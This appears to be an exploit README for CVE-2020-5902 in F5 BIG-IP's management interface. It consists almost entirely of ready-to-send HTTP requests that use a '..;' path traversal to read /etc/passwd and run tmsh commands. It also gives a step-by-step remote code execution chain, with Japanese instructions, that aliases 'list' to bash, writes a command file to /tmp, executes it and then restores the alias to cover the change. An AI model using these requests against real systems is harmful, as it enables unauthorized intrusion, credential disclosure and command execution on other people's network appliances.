CVE-2020-5902_RCE_EXP

Blog：http://www.svenbeast.com/post/cve-2020-5902

Read File

Example: https://x.x.x.x/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8
Cookie: JSESSIONID=89E562018185E75966F67E7FC50CF6E1

F5 RCE

Example: https://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8
Cookie: JSESSIONID=07E7975B5F6F4B43F3375AA5FFB32628

RCE

1. alias を変更し、list を bash コマンドに設定します

htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

1. bash ファイルを生成し、実行するコマンドを書き込みます

htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/checksafe&content=whoami

1. bash ファイルを実行します

htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/checksafe

1. alias 設定を元に戻し、ターゲットの正常な使用に影響を与えないようにします

https://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

参考リンク

https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4

https://github.com/jas502n/CVE-2020-5902

CVE-2020-5902_RCE

人気

CVE-2020-5902_RCE_EXP

Read File

F5 RCE

RCE

参考リンク